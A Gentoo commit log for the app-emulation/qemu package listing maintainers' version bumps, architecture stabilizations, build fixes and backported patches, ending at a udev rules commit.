Signed-off-by: John Helmert III <ajak@gentoo.org>
John Helmert III · gentoo
app-emulation/qemu: --disable-blobs for user builds, not for softmmu
Also add a comment explaining new vhost-user-fs logic while here, and clean up dead and commented configure arguments. Signed-off-by: John Helmert III <ajak@gentoo.org>
John Helmert III · gentoo
app-emulation/qemu: drop 7.0.0-r1, 7.0.0-r2
Closes: https://bugs.gentoo.org/873094 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Georgy Yakovlev · gentoo
app-emulation/qemu: fix build on ppc (or any softmmu-only arch)
Acked-by: John Helmert III <ajak@gentoo.org> Signed-off-by: Georgy Yakovlev <gyakovlev@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: arm64 stable wrt bug #866635
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #866635
Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 7.0.0-r3 ppc64, #866635
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 7.0.0-r3 x86, #866635
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: fix docs override
No functional change, just useful for building doc tarball. Signed-off-by: Sam James <sam@gentoo.org>
John Helmert III · gentoo
app-emulation/qemu: sync live
Pulled in Hello71's meson fixes here, so thanks to them too. Thanks-To: Alex Xu (Hello71) <alex_y_xu@yahoo.ca> Closes: https://github.com/gentoo/gentoo/pull/26121 Closes: https://github.com/gentoo/gentoo/pull/26764 Signed-off-by: John Helmert III <ajak@gentoo.org>
John Helmert III · gentoo
app-emulation/qemu: add 7.1.0
Pulled in Hello71's meson fixes here, so thanks to them too. Thanks-To: Alex Xu (Hello71) <alex_y_xu@yahoo.ca> Bug: https://bugs.gentoo.org/866127 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: unify DOCS_USEFLAG name
Copy same as libunwind/pkgdev. Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: fix build w/ glibc 2.36
Closes: https://bugs.gentoo.org/863443 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: tweak comment
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: disable pre-generated man pages for 9999
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: provide pre-generated man pages
Bug: https://bugs.gentoo.org/830088 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
WANG Xuerui · gentoo
app-emulation/qemu: forward 7.0.0-also-build-virtfs-proxy-helper.patch to avoid fuzz
Due to upstream commit https://gitlab.com/qemu-project/qemu/-/commit/622d64fffe4f ("meson, configure: move bdrv whitelists to meson"). Signed-off-by: WANG Xuerui <xen0n@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
WANG Xuerui · gentoo
app-emulation/qemu: update configure option corresponding to USE=png
Due to upstream commit https://gitlab.com/qemu-project/qemu/-/commit/95f8510ef428 ("Replacing CONFIG_VNC_PNG with CONFIG_PNG"). Signed-off-by: WANG Xuerui <xen0n@gentoo.org>
WANG Xuerui · gentoo
app-emulation/qemu: forward port 6.1.0-strings.patch to latest main branch
Due to upstream commit https://gitlab.com/qemu-project/qemu/-/commit/158bb2249ed9 ("configure: Add cross prefix for widl tool"). Tentatively named 7.1.0, as 7.1.0 will be the first upstream version this forwarded patch is applicable to. Signed-off-by: WANG Xuerui <xen0n@gentoo.org>
WANG Xuerui · gentoo
app-emulation/qemu: sync targets USE flags, add loongarch64
This is fully upstream as of https://gitlab.com/qemu-project/qemu/-/commit/1437479e5ee1a49ccd84cad9e7b010fb2ee9d805. Signed-off-by: WANG Xuerui <xen0n@gentoo.org> Closes: https://github.com/gentoo/gentoo/pull/26226 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: backport virtio-iscsi CPU usage fix; FORTIFY_SOURCE=3 fixes
- Backport virtio-iscsi CPU usage fix; - Don't force -D_FORTIFY_SOURCE=2 (we patch it into toolchain so need to set it, and by doing -U... -D...=2, it prevents usage of =3) - Backport FORTIFY_SOURCE=3 crash fix Closes: https://bugs.gentoo.org/849587 Closes: https://bugs.gentoo.org/849500 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: drop 6.2.0, 6.2.0-r3, 6.2.0-r4, 7.0.0_rc4
Closes: https://bugs.gentoo.org/831046 Bug: https://bugs.gentoo.org/839762 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
WANG Xuerui · gentoo
app-emulation/qemu: forward ~loong
Signed-off-by: WANG Xuerui <xen0n@gentoo.org>
WANG Xuerui · gentoo
app-emulation/qemu: keyword 7.0.0-r1 for ~loong
Signed-off-by: WANG Xuerui <xen0n@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: arm64 stable wrt bug #839765
Package-Manager: Portage-3.0.30, Repoman-3.0.3 RepoMan-Options: --include-arches="arm64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mike Gilbert · gentoo
app-emulation/qemu: quote EROOT when passing it as an argument
Signed-off-by: Mike Gilbert <floppym@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #839765
Package-Manager: Portage-3.0.30, Repoman-3.0.3 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #839765
Package-Manager: Portage-3.0.30, Repoman-3.0.3 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 7.0.0-r1 ppc64, #839765
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: restore ~arm ~riscv
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: depend on >=dtc-1.5.1, bump FIRMWARE_ABI_VERSION
Closes: https://bugs.gentoo.org/833084 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: add 7.0.0
Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: add 7.0.0_rc4, drop 7.0.0_rc3
Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: add 7.0.0_rc3
Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu: Rebase qemu-6.2.0-also-build-virtfs-proxy-helper.patch for live ebuild
Since the upstream moved some stuff in meson.build the original patch applies no more. Rebase it onto current master. Signed-off-by: Michal Privoznik <mprivozn@redhat.com> Closes: https://github.com/gentoo/gentoo/pull/24898 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: drop libxml2 and xfs handling in live
Also update Git repository URL. xfs dependency was dropped upstream in a5730b8bd3675f484ed0eacea052452048eeb35d, and libxml in 9e8be4c546ce8469ca9702715bf8f198d604b685 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: drop ppc64abi32 user target from live
Upstream dropped it in 74154d7e4a9a693313ad7639a92ff443c6258741 ("linux-user: Remove the deprecated ppc64abi32 target") Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add glibc-2.35 patch
Closes: https://bugs.gentoo.org/836300 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: REQUIRED_USE+="vnc? ( gnutls )"
Closes: https://bugs.gentoo.org/832494 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Keyword 6.2.0-r3 arm, #831279
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: drop old
Package-Manager: Portage-3.0.30, Repoman-3.0.3 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: always build virtfs-proxy-helper tool
Package-Manager: Portage-3.0.30, Repoman-3.0.3 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: Drop 6.1.0 (no rdma-core support)
Package-Manager: Portage-3.0.28, Repoman-3.0.3 Signed-off-by: Mikle Kolyada <zlogene@gentoo.org>
Yongxiang Liang · gentoo
app-emulation/qemu: keyword ~riscv
Package-Manager: Portage-3.0.30, Repoman-3.0.3 Signed-off-by: Yongxiang Liang <tanekliang@gmail.com> Signed-off-by: Yixun Lan <dlan@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mike Gilbert · gentoo
app-emulation/qemu: avoid building docs more than once
We always build tools, so that seems like a good place to build docs. Also, there are some docs that only get built when tools are enabled. Closes: https://github.com/gentoo/gentoo/pull/23660 Signed-off-by: Mike Gilbert <floppym@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mike Gilbert · gentoo
app-emulation/qemu: sync pam changes in live ebuild
Bug: https://bugs.gentoo.org/830391 Signed-off-by: Mike Gilbert <floppym@gentoo.org>
Mike Gilbert · gentoo
app-emulation/qemu: disable pam for user targets
Bug: https://bugs.gentoo.org/830391 Signed-off-by: Mike Gilbert <floppym@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: REQ_USE+="static-user? ( !pam )"
Bug: https://bugs.gentoo.org/830391 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
David Seifert · gentoo
app-emulation/qemu: remove implicit kernel_linux
Signed-off-by: David Seifert <soap@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
David Seifert · gentoo
app-emulation/qemu: remove kernel_FreeBSD
Signed-off-by: David Seifert <soap@gentoo.org> Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: REQ_USE+="static? ( !pam )"
Closes: https://bugs.gentoo.org/830391 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: sync live
Signed-off-by: John Helmert III <ajak@gentoo.org>
John Helmert III · gentoo
app-emulation/qemu: update EAPI 7 -> 8, fix libselinux automagic
Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: fix some automagic and patch runtime crash
Fix automagic audio backend use/linking (alsa, jack, oss, pulseaudio) and pam, add upstream patches to fix crash when with user-provided SLIC table, and fix calculating the --audio-drv-list argument. Bug: https://bugs.gentoo.org/830170 Thanks-To: Ionen Wolkens <ionen@gentoo.org> Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Jakov Smolić · gentoo
app-emulation/qemu: Stabilize 6.2.0 amd64, #830014
Signed-off-by: Jakov Smolić <jsmolic@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 6.2.0 arm64, #830014
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 6.2.0 ppc64, #830014
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 6.2.0 x86, #830014
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: fix unix socket path copy
This adds a patch of upstream commit 118d527f2e4baec5fe8060b22a6212468b8e4d3f. It is included in 6.2.0, but fixes a 6.1.0 regression, so committing straight to stable. Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: x86_64-softmmu requires fdt
Closes: https://bugs.gentoo.org/829717 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: drop 6.0.0-r4, 6.0.0-r54, 6.0.1-r1
Bug: https://bugs.gentoo.org/807055 Bug: https://bugs.gentoo.org/820743 Closes: https://github.com/gentoo/gentoo/pull/23421 Signed-off-by: John Helmert III <ajak@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
John Helmert III · gentoo
app-emulation/qemu: add 6.2.0
Bug: https://bugs.gentoo.org/810544 Signed-off-by: John Helmert III <ajak@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 6.1.0-r2 ppc64, #829504
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Piotr Karbowski · gentoo
app-emulation/qemu: 6.1.0-r2: restore REQUIRED_USE that was not supposed to be modified.
Signed-off-by: Piotr Karbowski <slashbeast@gentoo.org>
Sam James · gentoo
app-emulation/qemu: Stabilize 6.1.0-r2 arm64, #829504
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Piotr Karbowski · gentoo
x11-base/xorg-server: font-utils is only build time; align 9999.
Signed-off-by: Piotr Karbowski <slashbeast@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Jakov Smolić · gentoo
app-emulation/qemu: Stabilize 6.1.0-r2 x86, #829504
Signed-off-by: Jakov Smolić <jsmolic@gentoo.org>
Jakov Smolić · gentoo
app-emulation/qemu: Stabilize 6.1.0-r2 amd64, #829504
Signed-off-by: Jakov Smolić <jsmolic@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: drop 6.1.0-r1
Signed-off-by: John Helmert III <ajak@gentoo.org>
John Helmert III · gentoo
app-emulation/qemu: add potential patch for data corruption bug
Bug: https://bugs.gentoo.org/815379 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 6.0.1
Closes: https://bugs.gentoo.org/820677 Bug: https://bugs.gentoo.org/820743 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 6.0.0-r53 ppc64, #816879
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: fix build failure when libbpf is present
Closes: https://bugs.gentoo.org/814458 Signed-off-by: John Helmert III <ajak@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 6.0.0-r53 arm64, #816879
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #816879
Package-Manager: Portage-3.0.20, Repoman-3.0.3 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #816879
Package-Manager: Portage-3.0.20, Repoman-3.0.3 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mike Frysinger · gentoo
app-emulation/qemu: update to https:// links
Signed-off-by: Mike Frysinger <vapier@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: add PYTHON_USEDEP for sphinx bdeps
Bug: https://bugs.gentoo.org/814650 Signed-off-by: John Helmert III <ajak@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
John Helmert III · gentoo
app-emulation/qemu: bump to 6.1.0
Closes: https://bugs.gentoo.org/804525 Signed-off-by: John Helmert III <ajak@gentoo.org> Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
Revert "app-emulation/qemu: change static-libs default for virtual/libudev"
This reverts commit 27dadc9088d75589fd5fb40ef5c16e1f3d4220a7. Reverting for now as this seems to need further adapation for removing static-libs. [It may additionally work better if pushed with the referenced PR (or I think this change, with the !static? (...) pattern fixed, might work with a revbump, then a further (supplementary) revbump to drop static for libudev.)] In any case, going for this for now to reduce user confusion while we figure out next steps. See: https://github.com/gentoo/gentoo/pull/22217 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mike Gilbert · gentoo
app-emulation/qemu: drop udev static-libs
Signed-off-by: Mike Gilbert <floppym@gentoo.org>
Mike Gilbert · gentoo
app-emulation/qemu: change static-libs default for virtual/libudev
Signed-off-by: Mike Gilbert <floppym@gentoo.org>
Matt Turner · gentoo
app-emulation/qemu: Set USE-defaults for mesa[egl,gbm]
Signed-off-by: Matt Turner <mattst88@gentoo.org> Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
David Seifert · gentoo
app-emulation/qemu: Fix USE=static
Signed-off-by: David Seifert <soap@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
David Seifert · gentoo
app-emulation/qemu: Add sys-libs/ncurses[unicode(+)]
Signed-off-by: David Seifert <soap@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Ulrich Müller · gentoo
app-emulation/qemu: Don't inherit l10n.eclass, it is no longer used
Package-Manager: Portage-3.0.20, Repoman-3.0.3 Signed-off-by: Ulrich Müller <ulm@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: pin new firmware versions
Package-Manager: Portage-3.0.20, Repoman-3.0.3 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: allow MAKE='make ...' form
Reported-by: Toralf Förster Closes: https://bugs.gentoo.org/795678 Package-Manager: Portage-3.0.20, Repoman-3.0.3 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: USE=sdl-image relies on USE=sdl
Reported-by: Toralf Förster Closes: https://bugs.gentoo.org/798741 Package-Manager: Portage-3.0.20, Repoman-3.0.3 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop old
Package-Manager: Portage-3.0.19, Repoman-3.0.3 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #792624
Package-Manager: Portage-3.0.13, Repoman-3.0.2 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: guard fuse depend behind USE=fuse
The change converts automagic FUSE depend for raw block device export into a USE-guarded flag. Reported-by: Sam James Closes: https://bugs.gentoo.org/794820 Package-Manager: Portage-3.0.19, Repoman-3.0.3 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: stable 6.0.0 for ppc64
stable wrt bug #792624 Package-Manager: Portage-3.0.19, Repoman-3.0.3 RepoMan-Options: --include-arches="ppc64" Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 6.0.0 arm64, #792624
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #792624
Package-Manager: Portage-3.0.13, Repoman-3.0.2 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: revert "apply sphinx-4 workaround"
This reverts commit 65b728346b8f8833906f796f16bafb8361931879. Reported-by: Michael Moon Bug: https://bugs.gentoo.org/789561 Bug: https://bugs.gentoo.org/791331 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #790374
Package-Manager: Portage-3.0.13, Repoman-3.0.2 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #790374
Package-Manager: Portage-3.0.13, Repoman-3.0.2 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 5.2.0-r50 ppc64, #790374
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 5.2.0-r50 arm64, #790374
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: allow python-3.10
Package-Manager: Portage-3.0.18, Repoman-3.0.3 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: apply sphinx-4 workaround
Reported-by: Ionen Wolkens Closes: https://bugs.gentoo.org/789561 Package-Manager: Portage-3.0.18, Repoman-3.0.3 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Karl-Johan Karlsson · gentoo
app-emulation/qemu: require opengl if virgl is enabled
Closes: https://bugs.gentoo.org/788409 Signed-off-by: Karl-Johan Karlsson <creideiki@lysator.liu.se> Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: stable 5.2.0-r3 for ppc64
stable wrt bug #785379 Package-Manager: Portage-3.0.18, Repoman-3.0.3 RepoMan-Options: --include-arches="ppc64" Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: bump up to 6.0.0
Package-Manager: Portage-3.0.18, Repoman-3.0.3 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: fix variable reference style
Package-Manager: Portage-3.0.18-prefix, Repoman-3.0.3 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: Stabilize 5.2.0-r3 amd64, #785379
Signed-off-by: Mikle Kolyada <zlogene@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 5.2.0-r3 arm64, #785379
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: Do not rely on DCE for lock type test
Fix CFLAGS=-Og build break. -Og fails because gcc does not enable dead code elimination (but does set __OPTIMIZE__ define). The fix avoids DCE reliance downstream entirely. Reported-by: Luke-Jr Closes: https://bugs.gentoo.org/782364 Package-Manager: Portage-3.0.18, Repoman-3.0.3 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: mark USE=virtfs as non-tools flag
Package-Manager: Portage-3.0.18, Repoman-3.0.3 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: drop upstreamed firmware path patch
Package-Manager: Portage-3.0.18, Repoman-3.0.3 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Sergei Trofimovich · gentoo
app-emulation/qemu: sync target list in live ebuild
Package-Manager: Portage-3.0.18, Repoman-3.0.3 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: fix seabios pin for ppc
Reported-by: Michał Górny Closes: https://bugs.gentoo.org/780378 Package-Manager: Portage-3.0.18, Repoman-3.0.3 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: pin new firmware versions
Closes: https://bugs.gentoo.org/759298 Package-Manager: Portage-3.0.18, Repoman-3.0.3 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Matthias Maier · gentoo
app-emulation/qemu: default enable USE=+doc
Closes: https://bugs.gentoo.org/770997 Package-Manager: Portage-3.0.18, Repoman-3.0.3 Signed-off-by: Matthias Maier <tamiko@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop old
Package-Manager: Portage-3.0.18, Repoman-3.0.3 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: filter out -fcommon
Next qemu release should have a proper fix for symbol collision: $ git grep -P '[^a-z_]machine_init_done[^a-z_]' | cat softmmu/vl.c:bool machine_init_done; stubs/machine-init-done.c:bool machine_init_done = true; I'm not comfortable backporting the change and only filtering out -fcommon as a workaround. We'll remove a workaround in next release. Reported-by: Agostino Sarubbo Reported-by: gordon@niflheim.info Closes: https://bugs.gentoo.org/726560 Package-Manager: Portage-3.0.17, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Agostino Sarubbo · gentoo
app-emulation/qemu: ppc64 stable wrt bug #774420
Package-Manager: Portage-3.0.13, Repoman-3.0.2 RepoMan-Options: --include-arches="ppc64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
David Michael · gentoo
app-emulation/qemu: fix cross-compiling
Closes: https://bugs.gentoo.org/766546 Package-Manager: Portage-3.0.13, Repoman-3.0.2 Signed-off-by: David Michael <fedora.dm0@gmail.com> Signed-off-by: David Seifert <soap@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sergei Trofimovich · gentoo
app-emulation/qemu: drop old
Package-Manager: Portage-3.0.17, Repoman-3.0.2 Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Mikle Kolyada · gentoo
app-emulation/qemu: Stabilize 5.2.0-r2 amd64, #774420
Signed-off-by: Mikle Kolyada <zlogene@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 5.2.0-r2 arm64, #774420
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Thomas Deutschmann · gentoo
app-emulation/qemu: x86 stable (bug #774420)
Package-Manager: Portage-3.0.16, Repoman-3.0.2 Signed-off-by: Thomas Deutschmann <whissi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Maciej S. Szmigiero · gentoo
app-emulation/qemu: Add /dev/vhost-vsock to udev rules
